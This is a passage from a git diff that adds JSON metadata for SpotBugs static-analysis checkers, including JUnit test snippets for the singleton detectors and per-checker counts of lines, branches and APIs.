assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "protectedConstructorStaticInitReorderedTest", + "expected-problems": null, + "expected-linenumbers": [ + 135, + 146 + ], + "code": "@Test\n void protectedConstructorStaticInitReorderedTest() {\n performAnalysis(\"singletons/ProtectedConstructorStaticInitReordered.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"ProtectedConstructorStaticInitReordered\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "notCloneableButHasCloneMethodTest", + "expected-problems": null, + "expected-linenumbers": [ + 148, + 159 + ], + "code": "@Test\n void notCloneableButHasCloneMethodTest() {\n performAnalysis(\"singletons/NotCloneableButHasCloneMethod.class\");\n assertBugTypeCount(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\", 1);\n assertBugInMethod(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\", \"NotCloneableButHasCloneMethod\", \"clone\");\n\n assertNoBugType(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "serializableSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 161, + 172 + ], + "code": "@Test\n void serializableSingletonTest() {\n performAnalysis(\"singletons/SerializableSingleton.class\");\n assertBugTypeCount(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\", 1);\n assertBugInClass(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\", \"SerializableSingleton\");\n\n assertNoBugType(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "notSynchronizedSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 174, + 185 + ], + "code": "@Test\n void notSynchronizedSingletonTest() {\n performAnalysis(\"singletons/NotSynchronizedSingleton.class\");\n assertBugTypeCount(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\", 1);\n assertBugInMethod(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\", \"NotSynchronizedSingleton\", \"getInstance\");\n\n assertNoBugType(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n }" + }, + { + "description": "inappropriateSynchronization", + "expected-problems": null, + "expected-linenumbers": [ + 187, + 200 + ], + "code": "@Test\n void inappropriateSynchronization() {\n performAnalysis(\"singletons/InappropriateSynchronization.class\");\n // now cannot detect synchronization bug\n // because of the using of a monitor inside function\n assertBugTypeCount(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\", 0);\n //assertSINGBug(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\", \"InappropriateSynchronization\", \"getInstance\");\n\n assertNoBugType(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n }" + }, + { + "description": "appropriateSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 202, + 206 + ], + "code": "@Test\n void appropriateSingletonTest() {\n performAnalysis(\"singletons/AppropriateSingleton.class\");\n assertNoBugs();\n }" + }, + { + "description": "initializeOnDemandHolderIdiomTest", + "expected-problems": null, + "expected-linenumbers": [ + 208, + 213 + ], + "code": "@Test\n void initializeOnDemandHolderIdiomTest() {\n performAnalysis(\"singletons/InitializeOnDemandHolderIdiom.class\",\n \"singletons/InitializeOnDemandHolderIdiom$SingletonHolder.class\");\n assertNoBugs();\n }" + }, + { + "description": "enumSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 215, + 219 + ], + "code": "@Test\n void enumSingletonTest() {\n performAnalysis(\"singletons/EnumSingleton.class\");\n assertNoBugs();\n }" + }, + { + "description": "oneEnumSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 221, + 225 + ], + "code": "@Test\n void oneEnumSingletonTest() {\n performAnalysis(\"singletons/OneEnumSingleton.class\");\n assertNoBugs();\n }" + }, + { + "description": "unconditionalThrowerCloneableTest", + "expected-problems": null, + "expected-linenumbers": [ + 227, + 231 + ], + "code": "@Test\n void unconditionalThrowerCloneableTest() {\n performAnalysis(\"singletons/UnconditionalThrowerCloneable.class\");\n assertNoBugs();\n }" + }, + { + "description": "doubleCheckedLockingTest", + "expected-problems": null, + "expected-linenumbers": [ + 233, + 237 + ], + "code": "@Test\n void doubleCheckedLockingTest() {\n performAnalysis(\"singletons/DoubleCheckedLocking.class\");\n assertNoBugs();\n }" + }, + { + "description": "doubleCheckedLockingIndirectTest", + "expected-problems": null, + "expected-linenumbers": [ + 239, + 243 + ], + "code": "@Test\n void doubleCheckedLockingIndirectTest() {\n performAnalysis(\"singletons/DoubleCheckedLockingIndirect.class\");\n assertNoBugs();\n }" + }, + { + "description": "doubleCheckedLockingIndirect2Test", + "expected-problems": null, + "expected-linenumbers": [ + 245, + 249 + ], + "code": "@Test\n void doubleCheckedLockingIndirect2Test() {\n performAnalysis(\"singletons/DoubleCheckedLockingIndirect2.class\");\n assertNoBugs();\n }" + }, + { + "description": "multiplePrivateConstructorsTest", + "expected-problems": null, + "expected-linenumbers": [ + 251, + 255 + ], + "code": "@Test\n void multiplePrivateConstructorsTest() {\n performAnalysis(\"singletons/MultiplePrivateConstructors.class\");\n assertNoBugs();\n }" + }, + { + "description": "multipleNonPrivateConstructorsTest", + "expected-problems": null, + "expected-linenumbers": [ + 257, + 268 + ], + "code": "@Test\n void multipleNonPrivateConstructorsTest() {\n performAnalysis(\"singletons/MultipleNonPrivateConstructors.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"MultipleNonPrivateConstructors\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "multipleNonPrivateConstructorsTest2", + "expected-problems": null, + "expected-linenumbers": [ + 270, + 281 + ], + "code": "@Test\n void multipleNonPrivateConstructorsTest2() {\n performAnalysis(\"singletons/MultipleNonPrivateConstructors2.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"MultipleNonPrivateConstructors2\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "recordNotSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 283, + 288 + ], + "code": "@Test\n @DisabledOnJre({ JRE.JAVA_8, JRE.JAVA_11 })\n void recordNotSingletonTest() {\n performAnalysis(\"../java17/Issue2981.class\");\n assertNoBugs();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultithreadedInstanceAccess.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultithreadedInstanceAccess.json new file mode 100644 index 0000000..5b8b379 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultithreadedInstanceAccess.json @@ -0,0 +1,13 @@ +{ + "name": "MultithreadedInstanceAccess", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 204, + "branches": 23, + "apis": 40, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableEnum.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableEnum.json new file mode 100644 index 0000000..f319784 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableEnum.json @@ -0,0 +1,13 @@ +{ + "name": "MutableEnum", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 12, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableLock.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableLock.json new file mode 100644 index 0000000..29958aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableLock.json @@ -0,0 +1,13 @@ +{ + "name": "MutableLock", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 10, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableStaticFields.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableStaticFields.json new file mode 100644 index 0000000..66880f1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableStaticFields.json @@ -0,0 +1,13 @@ +{ + "name": "MutableStaticFields", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 399, + "branches": 63, + "apis": 89, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Naming.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Naming.json new file mode 100644 index 0000000..e532df7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Naming.json @@ -0,0 +1,13 @@ +{ + "name": "Naming", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 609, + "branches": 97, + "apis": 168, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Noise.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Noise.json new file mode 100644 index 0000000..4427fe7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Noise.json @@ -0,0 +1,13 @@ +{ + "name": "Noise", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 258, + "branches": 76, + "apis": 39, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoiseNullDeref.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoiseNullDeref.json new file mode 100644 index 0000000..b471cb0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoiseNullDeref.json @@ -0,0 +1,13 @@ +{ + "name": "NoiseNullDeref", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 477, + "branches": 52, + "apis": 89, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NonNullReturnProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NonNullReturnProperty.json new file mode 100644 index 0000000..d529b28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NonNullReturnProperty.json @@ -0,0 +1,13 @@ +{ + "name": "NonNullReturnProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteAnnotationRetention.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteAnnotationRetention.json new file mode 100644 index 0000000..0bd13e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteAnnotationRetention.json @@ -0,0 +1,13 @@ +{ + "name": "NoteAnnotationRetention", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 7, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteCheckReturnValueAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteCheckReturnValueAnnotations.json new file mode 100644 index 0000000..53db75b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteCheckReturnValueAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "NoteCheckReturnValueAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteDirectlyRelevantTypeQualifiers.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteDirectlyRelevantTypeQualifiers.json new file mode 100644 index 0000000..4c392a1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteDirectlyRelevantTypeQualifiers.json @@ -0,0 +1,13 @@ +{ + "name": "NoteDirectlyRelevantTypeQualifiers", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 21, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteJCIPAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteJCIPAnnotation.json new file mode 100644 index 0000000..1497b30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteJCIPAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "NoteJCIPAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 8, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonNullAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonNullAnnotations.json new file mode 100644 index 0000000..32bb153 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonNullAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "NoteNonNullAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonnullReturnValues.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonnullReturnValues.json new file mode 100644 index 0000000..80ccf68 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonnullReturnValues.json @@ -0,0 +1,13 @@ +{ + "name": "NoteNonnullReturnValues", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteSuppressedWarnings.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteSuppressedWarnings.json new file mode 100644 index 0000000..7984ea4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteSuppressedWarnings.json @@ -0,0 +1,13 @@ +{ + "name": "NoteSuppressedWarnings", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 288, + "branches": 25, + "apis": 53, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteUnconditionalParamDerefs.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteUnconditionalParamDerefs.json new file mode 100644 index 0000000..2671e85 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteUnconditionalParamDerefs.json @@ -0,0 +1,13 @@ +{ + "name": "NoteUnconditionalParamDerefs", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullArgumentWarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullArgumentWarningProperty.json new file mode 100644 index 0000000..f1c554c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullArgumentWarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "NullArgumentWarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullDerefProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullDerefProperty.json new file mode 100644 index 0000000..af7a9e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullDerefProperty.json @@ -0,0 +1,13 @@ +{ + "name": "NullDerefProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NumberConstructor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NumberConstructor.json new file mode 100644 index 0000000..c7e3a13 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NumberConstructor.json @@ -0,0 +1,13 @@ +{ + "name": "NumberConstructor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 189, + "branches": 15, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OptionalReturnNull.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OptionalReturnNull.json new file mode 100644 index 0000000..c82ace1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OptionalReturnNull.json @@ -0,0 +1,13 @@ +{ + "name": "OptionalReturnNull", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingEqualsNotSymmetrical.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingEqualsNotSymmetrical.json new file mode 100644 index 0000000..3e516b0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingEqualsNotSymmetrical.json @@ -0,0 +1,13 @@ +{ + "name": "OverridingEqualsNotSymmetrical", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 424, + "branches": 65, + "apis": 107, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingMethodsMustInvokeSuperDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingMethodsMustInvokeSuperDetector.json new file mode 100644 index 0000000..78295e3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingMethodsMustInvokeSuperDetector.json @@ -0,0 +1,13 @@ +{ + "name": "OverridingMethodsMustInvokeSuperDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 9, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PermissionsSuper.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PermissionsSuper.json new file mode 100644 index 0000000..c8476f5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PermissionsSuper.json @@ -0,0 +1,13 @@ +{ + "name": "PermissionsSuper", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 8, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PreferZeroLengthArrays.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PreferZeroLengthArrays.json new file mode 100644 index 0000000..d7bb666 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PreferZeroLengthArrays.json @@ -0,0 +1,13 @@ +{ + "name": "PreferZeroLengthArrays", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 11, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicIdentifiers.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicIdentifiers.json new file mode 100644 index 0000000..c81b9be --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicIdentifiers.json @@ -0,0 +1,13 @@ +{ + "name": "PublicIdentifiers", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11451, + "branches": 2, + "apis": 11359, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicSemaphores.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicSemaphores.json new file mode 100644 index 0000000..9640ed7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicSemaphores.json @@ -0,0 +1,13 @@ +{ + "name": "PublicSemaphores", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 107, + "branches": 12, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/QuestionableBooleanAssignment.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/QuestionableBooleanAssignment.json new file mode 100644 index 0000000..f0e431e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/QuestionableBooleanAssignment.json @@ -0,0 +1,13 @@ +{ + "name": "QuestionableBooleanAssignment", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 116, + "branches": 16, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadOfInstanceFieldInMethodInvokedByConstructorInSuperclass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadOfInstanceFieldInMethodInvokedByConstructorInSuperclass.json new file mode 100644 index 0000000..763cda6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadOfInstanceFieldInMethodInvokedByConstructorInSuperclass.json @@ -0,0 +1,13 @@ +{ + "name": "ReadOfInstanceFieldInMethodInvokedByConstructorInSuperclass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 181, + "branches": 24, + "apis": 46, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadReturnShouldBeChecked.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadReturnShouldBeChecked.json new file mode 100644 index 0000000..c9553a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadReturnShouldBeChecked.json @@ -0,0 +1,13 @@ +{ + "name": "ReadReturnShouldBeChecked", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 164, + "branches": 16, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantConditions.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantConditions.json new file mode 100644 index 0000000..78e4247 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantConditions.json @@ -0,0 +1,13 @@ +{ + "name": "RedundantConditions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 40, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantInterfaces.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantInterfaces.json new file mode 100644 index 0000000..365bff3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantInterfaces.json @@ -0,0 +1,13 @@ +{ + "name": "RedundantInterfaces", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 10, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RefComparisonWarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RefComparisonWarningProperty.json new file mode 100644 index 0000000..939c15a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RefComparisonWarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "RefComparisonWarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectionIncreaseAccessibility.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectionIncreaseAccessibility.json new file mode 100644 index 0000000..6c92cb8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectionIncreaseAccessibility.json @@ -0,0 +1,13 @@ +{ + "name": "ReflectionIncreaseAccessibility", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 11, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static 